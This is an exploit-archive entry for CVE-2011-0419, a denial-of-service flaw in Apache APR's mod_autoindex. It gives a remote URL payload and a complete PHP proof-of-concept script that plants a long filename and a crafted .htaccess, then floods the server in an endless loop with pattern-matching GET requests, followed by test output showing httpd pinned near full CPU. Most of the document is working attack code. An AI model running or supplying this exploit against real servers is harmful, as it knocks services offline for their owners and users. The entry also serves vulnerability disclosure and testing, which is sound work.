source: https://www.securityfocus.com/bid/47820/info
Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.
Apache APR versions prior to 1.4.4 are vulnerable.
<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz
CVE: CVE-2011-0419
CWE: CWE-399
REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.
http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]
LOCAL
Tested on:
127# httpd -v && uname -a
Server version: Apache/2.2.17 (Unix)
Server built: Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
Result:
127# ls -la
total 8
drwxrwxrwx 2 root wheel 512 Feb 8 21:41 .
drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 ..
-rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess
-rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx.............................................................................................................................
-rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php
127# ps -aux -p 617
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start
Time = 121:43 and counting
where http://[$localhost]:[$localport]/[$localuri]
*/
$localhost="localhost";
$localport=80;
$localuri="/koniec/";
if(!is_writable(".")) die("!writable");
// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));
// Phase 2
// Create .htaccess with
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);
// Phase 3
// Local connect (bypass firewall restriction)
while(1){
$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else {
$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
$out .= "Host: ".$localhost."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
}
?>
